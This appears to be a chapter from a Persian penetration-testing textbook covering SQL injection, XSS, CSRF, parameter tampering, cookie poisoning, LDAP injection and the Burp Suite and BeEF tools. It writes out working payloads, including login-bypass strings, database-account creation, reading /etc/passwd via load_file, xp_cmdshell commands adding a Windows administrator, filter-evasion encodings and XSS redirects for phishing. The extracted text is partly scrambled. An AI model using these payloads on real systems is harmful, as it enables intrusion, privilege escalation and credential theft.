 .دهد می رخ خطایی ،صورت این غیر در .شد خواهد سیستم وارد کاربر این پس ،باشد
 که کند می کار عبور رمز بلوک و کاربری نام در SQL مقداری دادن قرار با SQL تزریق
 OR‘ رمزعبور و کاربری نام های جعبه در که کنید فر  ،مثال عنوان به .است درست همیشه

 اجازه اما ،رسد می نظر به عجیب بسیار مورد این تایپ رسد می نظر به .کردید وارد 1’=’1‘
 را کوئری این برنامه شود می باعث این .کند می ایجاد عواملی چه کار این کنیم بررسی دهید
 :کند ایجاد

"SELECT * FROM tblUsers WHERE USERNAME = 'OR '1'='1' 

AND PASSWORD = 'OR '1'='1' " 

 بستن برای که،کنیم می شروع 1’=1 یا قبل )‘( قول نقل علامت یک با ما که باشید داشته وجهت
 blankخالی اساساً ،بینید می را ’‘ اگر و .باشد کد در باید داند می مهاجم که است باز قول نقل
 اربریک نام اگر که است این گوییم می داده پایگاه به ما آنچه ،بنابراین .باشد می null پوچ یا
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 ای لحظه اگر .کند وارد را ما1=1 اگر یا ،است خالی عبور رمز یا و ،1=1 یا ،باشد خالی
 .بود خواهد درست همیشه این بنابراین ،است 1 با برابر همیشه 1 که کنید می مشاهده ،بیندیشیم
 درست همیشه که باشد می ای گزاره صرفاً این .ندارد وجود ‘ OR ‘1’=’1 برای اهمیتی هیچ
 :کنند می امتحان را زیر موارد مانند دیگری مشابه جملات مهاجمان .بود واهدخ

' or 'a' ='a  

' or '42' ='42 

' or (1=1)  

 'or 'spongebob' = 'spongebob 

 هر که است این دادن نشان برای هم و (facetious) پردازی چهره معنای به هم مثال آخرین
 دشوار بسیار را آن کردن مسدود که باشد می ردیمو و کرد، خواهد کار درست ای گزاره
 فیلتر با سایت وب یک از ،خاص سازی معادل کردن مسدود برای تلاش جای به .کند می

 .است شده دفاع (،single quote) منفرد قول نقل مانند نمادهایی کردن
 .است SQL تزریق نسخه ترین ساده ،واقع در و .است SQL تزریق از نمونه یک تنها مورد این
 حمله این برابر در دفاع .باشد می رایجترین روش این ولی دارد وجود نیز دیگری یها روش
 ورودی اعتبار عنوان به اغلب.است آن پردازش از قبل کاربر های ورودی تمام کردن فیلتر
(input validation) دستورات کردن وارد از امر این .شود می شناخته SQL نام یک جای به 

 ورودی ها سایت از بسیاری ،متأسفانه .کند می جلوگیری مهاجم توسط عبور رمز و یکاربر
 .دارند قرار حمله این معر  در همچنان و کنند نمی فیلتر را کاربر
 توانید می SQL تزریق با .است SQL تزریق نسخه ترین ابتدایی شده آورده اینجا در که مثالی

 داده پایگاه سیستم و SQL مورد در خود دانش به فقط مهاجم .دهید انجام بیشتری کارهای
 .است شده محدود هدف
 اشاره SQL تزریق به ،خلاصه طور به ،بار اولین برای که هنگامی اوایل در که دارید خاطر به

 نویس برنامه ،مثال عنوان به .شود می امر این مانع ورودی فیلتر که بود شده پیشنهاد ،کردیم
 قول نقل مانند متداول SQL تزریق علائم ابتدا تا بنویسد را کد یدبا سایت وب کننده ایجاد
 اگر و ،کند بررسی را (&) و علامت یا (=) مساوی علامت (،٪) درصد علامت (،') منفرد
 بسیاری از عمل این .دهد نمایش را خطا لاگ و شده متوقف پردازش ،شد یافت مواردی
 وجود امنیتی اقدامات این زدن دور برای هایی روش .کند می جلوگیری SQL تزریق حملات
 .کند می متوقف را SQL تزریق حملات از بسیاری ها آن اجرای اما ،دارد
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 پارامتر را ها کوئری نویس برنامه که این اول .دارد وجود SQL تزریق با مقابله برای روش تعدادی
 از بسیاری ،حال این با .تنمادهاس برای کاربر ورودی تمام کردن فیلتر ها آن ترین ساده .کند می
 OWASP سایت وب های پذیری آسیب از لیستی .دهند نمی انجام را اقدامات این وب نویسان برنامه

Top 10 تزریق شامل (Injection) مورد در ،"پذیری آسیب اسکن" ،8 فصل در .باشد می 
OWASP کرد خواهیم بررسی جزئی طور به ها آن برتر تای10 لیست و. 

 

 بعدی گام

 را ها آن توانید ومی است SQL تزریق شکل ترین بنیادی الذکر فوق مطالب ،گفت باید هم باز
 وارد اول حساب بجای را دیگر حسابهای بخواهید دارد امکان ،مثال بعنوان .دهید گسترش
 کاربر خواهید می اکنون .باشید شده سیستم وارد John نام با کاربر یک عنوان به شاید .کنید
 شکل همان به را عبور رمز باکس) دهید قرار کاربری نام باکس در را این .کنید پیدا را بعدی
 : (دارید نگه

' or '1' ='1' and firstname <> 'john 

 :کنید سعی یا 
' or '1' ='1' and not firstname != 'john 

 تاس ممکن .نباشد داده پایگاه آن در ستونی نام است ممکن کوچک نام که است بدیهی 
 .آورید دست به را موارد این از یکی تا کنید امتحان را مختلفی های جایگزین باشید مجبور
 ستون نام دهد می اجازه SQL Server و Microsoft Access که باشید داشته خاطر به همچنین
 و MySQL اما [(First Name] مثال عنوان به) باشد داشته وجود براکت با ای کلمه چند

PostgreSQL محدودی تعداد ولی ،بود خواهد کننده خسته کمی که کنند نمی قبول را براکت 
 نام" با کاملاً که باشد داشته را ستونی نام داده پایگاه است بعید .دارد وجود امکانات از

 :کنید زیرامتحان صورت به است ممکن بنابراین .باشد نداشته ارتباط "کوچک
' or '1' ='1' and firstname <> 'john 

 ' or '1' ='1' and fname <> 'john 

 ' or '1' ='1' and first_name <> 'john 

 ' or '1' ='1' and [first name] <> 'john 

 شدما  کده  کند می فر  این ،البته .دارند بالایی موفقیت تقریباً تلاش ده حدود که کنید می مشاهده
 کده  دارد وجدود  بسدیاری  موارد ،اولیه سیستم هب ورود از پس .اید شده موفق or ‘1’1 = ‘1 ‘ با قبلاً
 .کنیم بررسی بعدی بخشهای در را ها آن از مورد چند دهید اجازه .کنید امتحان توانید می
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 بدانید بیشتر هدف درباره

 ممکدن  و .بشناسدید  را جددول  آن دیگدر  هدای  ستون خواهید می احتمالاً ،موفقیت با ورود از پس
 بده  بسدته  .دید کن مرور ،شد داده شرح قبلاً که را ای کننده خسته گمان و حدس دینباش لیما است
 .دارد وجود کار این انجام برای هایی روش ،استفاده مورد داده پایگاه

 

 :MS SQL برای

SELECT name FROM syscolumns WHERE id = (SELECT id 

FROM sysobjects WHERE name = 'tablename ') For 

MySQL: show columns from tablename For Oracle: 
 

 :MS SQL برای

show columns from tablename 
 

 :MS SQL برای

SELECT * FROM all_tab_columns 

WHERE table_name='tablename' 

 اسدت،  شدده  وارد داده پایگداه  در کداربری  چده  اینکده  مدورد  در بخواهیدد  دارد امکدان  همچنین 
 داخلدی  اسدکالر  توابدع  چنددین  شود؟ می اجرا صورت چه هب داده پایگاه ،دیگر عبارت به .بدانید
SQL های سازی پیاده اکثر در که دارد وجود SQL کرد خواهند کار: 

user or current_user 

session_user 

system_user 
 کار این .کنید تعیین را کاربر توانید می آیا کنید مشاهده تا کرده امتحان را موارد این از یک هر
 حداقل مفهوم از کرده تنظیم را داده پایگاه که شخصی اگر ویژه به ،باشد فیدم تواند می

 .نکند پیروی امتیازات
 به ازین بدون و بعداً تا است دیمف کار نیا .دیکن جادیا دیجد حساب کی دیتوان می نیمچنه

 شاخص کی نیا نیهمچن .دیشو ستمیس وارد دوباره و ماًیمستق ،SQL قیتزر مراحل انجام
 وب صاحب به دیتوان می شما .است بوده آمیز موفقیت شما نفوذ تست که بوده واضح کاملاً
 داده گاهیپا اید توانسته یحت بلکه ،دیا کرده نفوذ یو تیسا وب به تنها نه که دیده نشان تیسا
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 نمونه چند نجایا در .است متفاوت داده گاهیپا به بسته آن قیدق روش .دیکن اصلاح را ای نهیزم
  .است شده آورده
 ذخیره های رویه .کرد خواهید استفاده شده ذخیره روش دو از ،Microsoft SQL Server برای
 یدک  ابتددا  مدورد  دو ایدن  .شدوند  اجدرا  و فراخدوانی  توانند می که هستند ساخته پیش SQL شده
 :کنند می اضافه سیستم های ادمین نقش به را لاگین آن سپس و کنند می اضافه لاگین

exec sp_addlogin 'johnsmith', 'mypassword' 

exec sp_addsrvrolemember 'johnsmith', 'sysadmin' 

Microsoft Access دستور فقط .باشد می تر راحت CREATE USER کنید صادر را: 
CREATE USER johnsmith IDENTIFIED BY 'mypassword' 

 :مثال عنوان به .است کاربران جدول در عبور رمز و کاربر دادن قرار مسئله ،MySQL برای
INSERT INTO mysql.user (user, host, password) VALUES 

('johnsmith', 'localhost', PASSWORD('mypassword'))  

PostgreSQL مشابه MySQL ای رابطه داده پایگاه دو هر زیرا ،نیست آور تعجب این .باشد می 
 :هستند محبوبی بسیار آزاد منبع

CREATE USER johnsmith WITH PASSWORD 'mypassword' 

 :است ساده نسبتاً اما ،دارد نیاز بیشتری پیچیدگی کمی به اوراکل 
CREATE USER johnsmith IDENTIFIED BY mypassword 

  TEMPORARY TABLESPACE temp 

  DEFAULT TABLESPACE users; 

 GRANT CONNECT TO johnsmith; 

 GRANT RESOURCE TO johnsmith; 

 برای تلاش ،حال این با .دهید انجام SQL تزریق با توانید می که است اساسی کار چند اینها
 توجه باید .باشد می تر جالب بسیار اصلی عامل سیستم به دسترسی برای داده پایگاه از استفاده
 لاگین .شد هدخوا تر کننده خسته فرایند این ،بپردازید SQL تزریق به بیشتر هرچه که باشید داشته
 زمان ،است مؤثر آیا اینکه تعیین برای .کرد نخواهد ای کرد خواهد کار ای و است ساده نسبتاً هیاول

  .شود می زیادتری زمان و تلاش باعث تر پیشرفته های تکنیک .است لازم کمی بسیار
 شدده  نصدب  آن روی بدر  داده پایگاه که اصلی عامل سیستم با تعامل یها روش از برخی زیر در
 .است شده آورده ،است
 بده  کده  را دسدتور  ایدن  توانیدد  مدی  ،شدود  می اجرا Linux در که MySQL داده پایگاه یک برای
 :کنید امتحان شده اضافه شما SQL تزریق لاگین

' union select 1, (load_file('/etc/passwd') ) ,1,1,1; 
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 بدرای  آن از توانیدد  می سپس .کند load)) بارگیری را عبور رمز هش فایل دارد سعی دستور این
 سدرور  آن در موجدود  کداربران  بدرای  احتمدالاً  و کنید استفاده کمان رنگین جدول حمله اجرای
 .کنید دریافت رمزعبور

 :کنید شروع نیز شده ذخیره های رویه از استفاده با را خدمات توانید می MS SQL Server با
'; exec master..xp_servicecontrol 'start','Remote 

Registry' 

 به و دارد، را قدرتمند بسیار سرویس توقف یا اندازی راه توانایی .باشد می خاص یکی این 
 حداقل با و شود پیکربندی درستی به اگر .دارد بستگی داده پایگاه سرویس خود امتیازات
 .نکند کار موارد این از بعضی است ممکن ،شود اجرا امتیازات
 ،باشد SQL Server هدف اگر هستید. پوسته / فرمان خط از استفاده به دمن علاقه شما شاید
 :کنیم شروع مورد یک با اینجا در .دارد وجود کار این انجام برای راهی یقینا

'; exec xp_cmdshell 'net user /add jsmith Pass123'-- 

 '; exec xp_cmdshell 'net localgroup /add 

administrators jsmith' 

 ،6 فصل از را ویندوز دستورات) کند می اجرا را ای شبکه کاربر نویسی اسکریپت کار ینا
 اضافه ها ادمین گروه به را او و کرده ایجاد jsmith نام به کاربر یک و ("ویندوز کردن هک"
 توسط فقط ،کند کار xp_cmdshell اگر ،حقیقت در .باشد می تصویر یک فقط که کند، می
 خاطر به) است داده پایگاه سرویس خود امتیازات ،مورد اولین .شوید یم محدود مورد دو

 از شما دانش ،مورد دومین . (است امنیت در مفهوم ترین بنیادی امتیازات حداقل باشید داشته
 .است ویندوز (command promptفرمان) خط

 قدرار  هدم  کندار  در را (query) جدو  و پرس چندین توانید می که باشید داشته توجه باید همچنین
 :کنید استفاده دستور کننده جدا عنوان به (;ویرگول) نقطه یک از مثال عنوان به .دهید

' or '1' ='1; select * from someothertable 

 

 ای مقابله اقدامات از اجتناب

 نمادهای شناسایی برای وب اپلیکیشن های فایروال و نفوذ تشخیص های سیستم از بسیاری
 برای جایگزین نمادهای از استفاده آن زدن دور های راه از یکی اند. شده ظیمتن SQL تزریق
  ("%" = رشته) قول نقل بدون تزریق ،مثال عنوان به .است SQL نمادهای

' or username like char(37) ; 
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 :دارید شما or ‘1’ = ‘1 ‘ جای به بنابراین .است (quoteقول) نقل تنها (39) کاراکتر
Char(39) or Char(39) 1 Char(39) =Char(39) 1  

 .است ستاره (42) کاراکتر
 

 اضافی منابع

 ایدن  بده  بیشدتر  کده  داریدد  تمایدل  اگدر  .اسدت  SQL تزریق برای ای مقدمه فقط شده ذکر مطالب
 :کنم می توصیه را زیر های سایت ،بپردازید موضوع

http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet 
http://www.sqlinjectionwiki.com/categories/2/mysql-sql-injection-cheat-sheet/ 
https://information.rapid7.com/rs/rapid7/images/R7%20SQL_Injection_Cheat_
Sheet.v1.pdf 

 

XSS. 

 (شود می نامیده XSS معمولاً که) Cross Site Scripting سایت طریق زا نویسی اسکریپت
 تا کرده load یمتن قسمت کی در را ها پتیاسکر کند می یسع .است ساده نسبتاً حمله یک
 (reviewبازبینی) بخش به ،مثال عنوان به .شوند اجرا ،تیسا آن از یگرید کاربر دیبازد هنگام

  .شوید می JavaScript وارد ،شوید بازبینی یک وارد ینکها جای به اما ،روید می محصول
 ،کنند می برقرار ارتباط آن با کاربران سایر که کنید می وارد مکانی در را ها اسکریپت اساساً
 نه ،کنید اجرا را خود اسکریپت شما ،روند می سایت از قسمتی آن به ها آن وقتی بنابراین
 .باشد ها آن مجدد هدایت تواند می کار این .نظر مورد سایت وب عملیات
 دارد خاص سایت یک به کاربر که اعتمادی از سایت طریق از نویسی اسکریپت

 Cross-Site (CSRF) سایت متقابل درخواست جعل .کند می برداری)اکسپلویت( بهره

Request Forgery، مرورگر به سایت یک که اعتمادی از ،شود می بحث بعدی بخش در که 
 دهید اجازه ابتدا دهید؟ انجام توانید می کاری چه کار این با .کند می بهربرداری ددار کاربر
 .کنیم نگاه اصولی صورت به JavaScript به کمی

 

  (Basic JavaScript) اسکریپت جاوا اصول

 داشته وجود JavaScript از درکی حداقل باید ،سایت طریق از نویسی اسکریپت فهم برای
 شود تست تا کنید وارد دستی صورت به را اسکریپت چند بتوانید که است مفید همچنین باشد.
 .باشد می مستعد نظر مورد سایت وب آیا که

http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
http://www.sqlinjectionwiki.com/categories/2/mysql-sql-injection-cheat-sheet/
https://information.rapid7.com/rs/rapid7/images/R7%20SQL_Injection_Cheat_Sheet.v1.pdf
https://information.rapid7.com/rs/rapid7/images/R7%20SQL_Injection_Cheat_Sheet.v1.pdf
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 :بگیرید نظر در را ابتدایی اسکریپت جاوا مثال این
<SCRIPT> 

document.write("<H1>Hello World.</H1>")  

</SCRIPT> 
 برای یک عنصر بنویسید:

<script> 
document.getElementById("demo") .innerHTML = "Hello 

World!"; 

</script> 
 باشد: می JavaScriptیک هشدار از عملکردهای محبوب و ساده 

<script> 

alert("You are vulnerable to XSS!") ; 

</script> 
هدای   توان برای هدایت مجدد مرورگدر اسدتفاده کدرد. در حقیقدت، روش     از جاوا اسکریپت می

 ای انجام این کار وجود دارد:مختلفی بر

<SCRIPT> 

window.navigate("someurl") ; 

</SCRIPT> 

 کند. این یکی فقط در برخی از مرورگرها کار می

 ممکن است بخواهید یکی از این دو را امتحان کنید: 
window.location.href = 'someurl; ' 

 کند. مورد فوق در همه مرورگرها کار می
window.location.replace ('someurl') ; 

 شود. نشان داده نمی " back بازگشت"حتی بهتر است زیرا در تاریخ 

 از مورد زیر استفاده کنید: JavaScriptتوانید در  برای دیدن تاریخچه مرورگر می

history 

<SCRIPT> 

Window.History 

</SCRIPT> 

Length: how much is in history 

back()  

(forward) 
 .کنید بررسی را تاریخچه کل توانید می length ویژگی از ادهاستف با



 آموزش اصول و مفاهیم تست نفوذ 204 

 

 :داد انجام XSS با توان می که کارهایی
 را هشددار  یدک  فقط باشدکه می صورت بدین نفوذ کنندگان تست برای XSS رایج حمله یک
 پذیر آسیب را سایت ،دهد انجام کاری اینکه بدون شخص شود می باعث واقع در دهند،و نشان
 روش یدک  ایدن  .شدوید  سدایت  هددایت  باعدث  توانیدد  می ،کنید می مشاهده که طور همان .بداند

  .باشد می فیشینگ کلاهبرداری برای قدرتمند
 نقد را محصولات و دهند انجام خرید آن در بتوانند کاربران که بگیرید نظر در را سایتی وب
 هدایت جعلی سایت آن به کاربری اگر .کند می تنظیم را سایت جعلی نسخه مهاجم .کنند
 دهد می داده اطلاع وی به سرویس این سپس ،شود سیستم وارد شود می خواسته وی از ،شود

 شخص آن ورود رمز و کاربری نام مهاجم ".کنید امتحان دوباره بعداً ،نیست دسترس در موقتاً"
 همراجع جعلی سایت وب به که کند می ترغیب را مردم چگونه اما .است کرده دریافت را

 را فراوانی های موفقیت احتمالاً و کنید امتحان را فیشینگ ایمیل کمپین یک توانید می کنند؟
 تواند می ،دهید انجام واقعی سایت وب در را XSS بتوانید اگر ،حال این با .کرد خواهید کسب
 .کند هدایت جعلی سایت وب به را کاربران
 POST و GET بین تفاوت بحث .بروید رگرمرو تاریخچه به توانید می ،شد گفته که طور همان
 امن اکثراً که کنید می بازدید سایتی وب از کنید تصور .بیاورید خاطر به را فصل این در
 را زیادی حساس اطلاعات شما .کند می استفاده GET دستورات از که تفاوت این با ،باشد می
 نویسی اسکریپت با که روید می دیگری سایت وب به ،کار پایان از پس ،سپس .دهید می ارائه
 ثبت را شما تاریخچه سایت وب آن .است گرفته قرار حمله مورد (XSS) سایت طریق از
 وب در اینکه بدون مهاجم اکنون .اید کرده ارسال GET با که هایی داده جمله از ،کند می

 کرده بازیابی را شما های داده داده،و انجام را هک عملیات ،اید کرده وارد را داده که سایتی
 .باشد کننده نگران باید که است،

 

 وب حملات سایر

 آگاه حملات این از کلی طور به باید شما .است شده ذکر زیر در کمتری جزئیات با حملات
 ،همچنین .باشید متخصص وبی حمله هر در نیست لازم و بوده مقدماتی متن یک این ،باشید
 شما به که دارد وجود خودکاری ابزارهای ،کرد خواهید مشاهده 8 فصل در که طور همان
 حملات این از مورد چند یا یک برابر در دارد وجود معینی سایت وب آیا دهد می اطلاع
 .است پذیر آسیب
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CSRF. 

Cross-Site Request Forgery (CSRF) کند می مجبور را نهایی کاربر که است ای حمله 
 انجام باشد، می هویت احراز حال در آن در که وب اپلیکیشن یک در را ای ناخواسته اقدامات
 این .کند ارسال مخرب درخواست یک تا داده فریب را قربانی که است ای حمله CSRF .دهد
 .دهد می انجام ای ناخواسته عملکرد قربانی طرف از تا دارد را قربانی امتیازات و هویت حمله
 به مربوط اطلاعات هرگونه شامل ارخودک طور به مرورگر های درخواست ،ها سایت اکثر برای
 دیگر موارد و ویندوز دامنه اعتبار اطلاعات ،IP آدرس ،کاربر جلسه کوکی مانند سایت
 .باشد می
 

  (Forceful Browsing) اجباری مرور

 مرور با وب یسرورها ،باشد نشده محافظت فایل و بداند را لیفا نام کاربر که یشرط به
 حفره این از است ممکن هکر یک ،بنابراین کنند. می ارسال کاربر یبرا را یلیفا هر اجباری
 ثبت صفحه یک ،مثال عنوان به .(JUMPبرود) صفحات به مستقیماً و کرده برداری بهره امنیتی
 "private / customer.txt"_ نام به فایلی آن در که باشد میHTML مفسر یک دارای نام
 .است شده ذکر
 مشدتریان  اطلاعدات  تمدام  "http://www.xxx.com/_private/customer.txt" کدردن  تایپ با

 .شود می ارسال
 ارسال منبع کد قدیمی نسخه است ممکن CGI های نام به "old." یا "bak." یا "~" افزودن با

 برمی را admin.jsp منبع کد ~"www.xxx.com/cgi-bin/admin.jsp" ،مثال عنوان به .شود
 .گرداند

 

   (Parameter Tampering) پارامتر دستکاری

 همچنان وب نویسان برنامه از کمتری تعداد امروزه زیرا ،شد منسوخ سرعت به حمله این
 وب بر مبتنی حمله نوعی پارامتر دستکاری .کنند می نگهداری URL در را مهم اطلاعات

 توسط شده وارد وب صفحه زمینه های داده یا URL در خاصی پارامترهای آن در که باشد می
 بارزترین .شود می انجام وب برنامه یک رفتار تغییر برای اغلب کار این .کند می تغییر کاربر
 :مانند ،دارند قرار URL در مقادیر که است زمانی مثال
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  (Valid transaction) معتبر تراکنش
m/tx?acctnum=12&debitamt=100http://www.victim.co 

 

  (Malicious transaction) مخرب تراکنش

http://www.victim.com/tx?acctnum=12&creditamt=1000000 
 .شود بررسی را جلسه توکن رمز ،شدند ارسال پارامترها زمان هر :Mitigation کاهش

 

  (Cookie Poisoning) ها کوکی مسمومیت

 زمانی برچسب ،کاربر شناسه) اطلاعات ذخیره برای ها کوکی از وب های اپلیکیشن از بسیاری
(Time stamp) یک که هنگامی ،مثال عنوان به .کنند می استفاده مشتری دستگاه در (غیره و 

 عبور رمز و کاربری نام سیستم به ورود اسکریپت یک ،شود می وارد سایتها از بسیاری به کاربر
 .کند می تنظیم خود عددی شناسه با کوکی یک و کند می تأیید را وی
 مثلاً) دیگر وب اسکریپت یک ،کند می بررسی را خود دار الویت تنظیمات بعداً کاربر وقتی

preferences.asp) نمایش را مربوطه کاربر اطلاعات سوابق و کند می بازیابی را کوکی 
 ،حقیقت در .داد تغییر را ها آن توان می بنابراین ،شوند نمی رمزگذاری همیشه ها کوکی .دهد می
 حمله این بنابراین .بخواند یا بنویسد هم ،تغییردهد هم را کوکی یک تواند می اسکریپت جاوا
 .شود ترکیب XSS با تواند می
 

  LDAP تزریق

 وب های برنامه به امر این .باشد می SQL تزریق از جدیدتر حداقل ،بوده جدیدتر حمله یک
 استفاده (LDAP) سبک دایرکتوری به دسترسی پروتکل از که دارد بستگی تری پیچیده
 توصیف بهتر (OWASP) باز وب اپلیکیشن امنیت پروژه از قول نقل این با احتمالاً .کنند می
 :است شده
 که وب تحت های برنامه از برداری بهره یبرا که باشد می ای حمله واقع در LDAP تزریق
 یوقت .ردیگ می قرار استفاده مورد سازند می کاربر یورود اساس بر را LDAP عبارات

 استفاده با را LDAP دستورات توان می شود، زییتم کاربر یورود از یدرست به نتواند اپلیکیشنی
 یاعطا مانند دلخواه دستورات یااجر به منجر تواند می تزریق نیا داد. رییتغ یمحل یپراکس از

http://www.victim.com/tx?acctnum=12&debitamt=100
http://www.victim.com/tx?acctnum=12&debitamt=100
http://www.victim.com/tx?acctnum=12&creditamt=1000000
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 همان شود. LDAP درخت داخل در محتوا رییتغ و رمجازیغ های درخواست به مجوز
 در مشابه طور به توان می را SQL Injection در موجود برداری بهره شرفتهیپ های کیتکن

LDAP Injection برد. کار به زین 
 

 Tools ابزارها

 داده شرح فصل این در قبلاً که را وب حملات از یک هر روند که دارد وجود ابزار تعدادی
 بررسی بخش این در را پرکاربرد ابزار چند ما .دهد می انجام خودکار صورت به ،است شده

 .کرد خواهیم
 

Burp Suite. 

 لینک از را ابزار این توانید می .است وب به حمله برای کلاسیک ابزاری
https://portswigger.net/burp/ نمایش قصد به .کنید وددانل، Burp Suite از استفاده با را 

 نشان را 7-2 شکل در ابزار این نمایش صفحه .کنیم می اندازی راه فر  پیش تنظیمات تمام
 است. شده استفاده رایگان نسخه از که باشید داشته توجه است..شده داده

 
 .Burp Suite .7-2 شکل
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 .دارد قرار شما روی پیش زیادی های گزینه که ستا این کنید توجه باید که موردی اولین
 نمایش به اساسی مورد چند اینجا در .کنید صرف زمان کمی باید ها آن همه با آشنایی برای

 :کنید دریافت زیر های لینک در را کامل آموزشهای توانید می ،شود می گذاشته
https://www.pentestgeek.com/web-applications/burp-suite-tutorial-1 
https://portswigger.net/burp/help/suite_gettingstarted.html 

 .کنید انتخاب را Scope تب سپس و Target تب که است این شود امانج باید که کاری اولین
 هدف برای را سایت وب یک که است مکانی اینجا در .کنید مشاهده 7-3 شکل در توانید می

 .کنید می اضافه گذاری

 
 .Burp Suite هدف محدوده .7-3 شکل

 

 تمرکز آن پیکربندی روی بر فقط اینجا در .دهید انجام Burp Suite با توانید می زیادی کارهای
 مرورگرتان باید ،آن پیکربندی برای ،ابتدا .کنیم می امتحان را ساده حمله یک سپس و کرده

 خواهد متفاوت کمی شما مرورگر به بسته که کند، کار پراکسی سرور یک با تا شود پیکربندی
 کرد. واهیمخ بررسی پرکاربرد مرورگر چند در را کار این انجام نحوه اینجا در ،بود

https://www.pentestgeek.com/web-applications/burp-suite-tutorial-1
https://www.pentestgeek.com/web-applications/burp-suite-tutorial-1
https://portswigger.net/burp/help/suite_gettingstarted.html
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Chrome. 

 که شود، می پیدا بالا راست سمت گوشه در نقطه سه انتخاب با .کنید پیدا را تنظیمات ابتدا
 .کنید مشاهده 7-4 شکل در توانید می

 
 

 .Chrome تنظیمات به دسترسی .7-4 شکل
 

-5 شکل در که طور همان .کنید کلیک را Advanced و رفته Settings صفحه پایین به اکنون
 .بگردید Proxy و System تنظیمات دنبال به ،است شده داده نشان 7

 
 

 .Chrome سیستم تنظیمات .7-5 شکل
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 شدوید  مطمئن 7-6 شکل مطابق .کرد خواهید انتخاب را LAN تنظیمات ،پروکسی تنظیمات در
 .باشد 8080 پورت و localhost به مربوط تنظیمات که

 
 

 .Chrome پروکسی تنظیمات .7-6 شکل
 

Firefox. 

 داده نشان 7-7 شکل در که طور همان .کنید انتخاب را Options و Tools ،کشویی منوی از
 .کنید انتخاب را Network و Advanced ،شده

 
 

 .Firefox تنظیمات .7-7 شکل
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 مطمدئن  7-8 شدکل  مطدابق  .کدرد  خواهید پیدا را پروکسی تنظیمات ،اتصال تنظیمات قسمت در
 .کند استفاده localhost، 8080 پورت و دستی پراکسی از ات شده تنظیم که شوید

 
 

 .فایرفاکس پروکسی تنظیمات .7-8 شکل

 

Internet Explorer. 

 تدب  بده  سدپس  و داده انجدام  را تنظیمدات  سدپس  ،کدرده  انتخداب  را tools کشویی منوی از ابتدا
Connections است شده داده نشان 7-9 شکل در که طور همان بروید. 
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 .اکسپلورر اینترنت اتصال تنظیمات 7-9 شکل

 

 کرده کلیک LAN تنظیمات دکمه روی بر ،است شده داده نشان 7-10 شکل در که طور همان
 .کنید تنظیم localhost, 8080 پورت روی را پروکسی و

 
 .اکسپلورر اینترنت پروکسی تنظیمات 7-10 شکل
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 Burp Suite از استفاده

 سایتی وب از اگر .کنیم استفاده Burp Suite از توانیم می ،دیمکر تنظیم را پروکسی که اکنون
 دستورات ،کنید کلیک History HTTP تب و Proxy تب روی بر سپس ،کردید بازدید
 .کرد خواهید مشاهده 7-11 شکل مانند را HTTP واقعی

 

 
 .HTTP تاریخچه .7-11 شکل

 

 کده  کنیدد،  انتخداب  را Send to Repeater و کرده راست کلیک ها بسته از یکی روی بر اکنون
 .شود می استفاده ها بسته تغییر برای Repeater .است شده داده نشان 7-12 شکل در
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 Repeater به ارسال 7-12 شکل

 

 شدکل  در که کنید می مشاهده را خام HTTP دستورات ،روید می Repeater تب به که هنگامی
 .است شده داده نشان 13-7
 را امکان این شما به که کنید، ارسال دوباره و داده تغییر را HTTP دستورات دتوانی می اینجا از
 که ،HTTP دستورات دانش اینجا در .دهید انجام سایت وب به را مختلفی حملات که دهد می
 را SQL دستورات یکسره توانید می حتی .کرد خواهد کمک ،شد بحث فصل این در قبلاً

 Burp از مختصری معرفی فقط توضیحات این .دهید انجام ار SQL تزریق تست و کنید ارسال

Suite و قدرتمند چقدر ابزار این باشیدکه شده متوجه باید توضیحات به توجه با ،باشد می 
 .باشد می پذیر انعطاف
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 Repeater .7-13 شکل

 

BeEF. 

 لینک از توانید می که ،مرورگر از (Exploitation) برداری بهره چارچوب
http://beefproject.com باشد می نفوذ تست های سایت وب برای ابزاری که،کنید دانلود. 

 شناسایی ویروس عنوان به را BeEF ،ویروس آنتی های برنامه از برخی که باشید داشته توجه
 BeEF .کنید دریافت را بدافزار اخطار دارد احتمال ولی نبوده ویروس یک ابزار این .کنند می

 که است شده داده اختصاص آن به کامل ویکی یک .باشد می Burp Suite از تر پیچیده کاملاً
 https://github.com/beefproject/beef :دهد می آموزش می شما به را آن نصب نحوه حتی

/wiki/Installation. هدف .کنیم نمی بررسی دقیق طور به را آن ،فصل این اهداف به توجه با 
 کننده تست عنوان به توانید می که باشد می دیگری ابزار این هک بوده شما به دادن آگاهی فقط
 کنید. استفاده نفوذ
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 خلاصه

 برای ابزارها برخی و وب هک مختلف های تکنیک ،ها سایت وب کار اصول فصل این در
 پذیری آسیب اسکنرهای با شما 8 فصل در .شد معرفی سایت وب نفوذ تست در شما به کمک
 بدین فصل این اصلی اهداف .شود می معرفی Metasploit ،13 صلف در سپس ،شوید می آشنا

 و ها تکنیک از برخی دانش حداقل و کرده درک را وب رایج حملات که بود صورت
 باشید. داشته را اساسی ابزارهای
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 پذیری اسکن آسیب
Vulnerability Scanning 
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 فصل اهداف

 :بود دیخواه قادر فصل، نیا خواندن از پس
 چیست. پذیری سیبآ اسکن اینکه درک 

 کنید. استفاده پذیری آسیب اسکن ابزار چندین از چگونه که آورده دست به را آن دانش 

 دهید. انجام را وب پذیری آسیب اسکن 

 دهید. انجام را شبکه پذیری آسیب اسکن 

 تعجب جای .نیست نفوذ تست همان پذیری آسیب اسکن که است این نکته مهمترین و اولین
 اینکه تصور ،حال این با .هستند یکسان دو این کنند می فکر مردم از سیاریب چگونه که دارد
 تست هم و پذیری آسیب اسکن هم ها شرکت اکثر .بود خواهد اشتباه ندارند ربطی هم به ها آن
 پذیری آسیب اسکن از استفاده ،نفوذ کننده تست یک عنوان به و .دهند می انجام را نفوذ
 .کنید متمرکز نفوذ تست برای را خود تلاش تا کند کمک شما به تواند می

 اسکن شده شناخته مسائل بررسی برای چیست؟ پذیری آسیب اسکن دقیقاً ،بنابراین
 است دسترس در متنوعی ابزارهای ،دیگر عبارت به .کند می استفاده ابزارهایی از پذیری آسیب
 شده مستند های ذیریپ آسیب نظر از و کرده اسکن را شما سایت وب یا شبکه ،سیستم که

 که هنگامی .باشد می گام اولین فقط این ،نفوذ کننده تست یک برای .شود می بررسی
 است قرار فصل این در .گیرید بکار را ها آن توانید می ،کردید شناسایی را ها پذیری آسیب
 .گیرد قرار استفاده مورد گسترده ابزار چندین

 

  (Vulnerabilities) ها پذیری آسیب

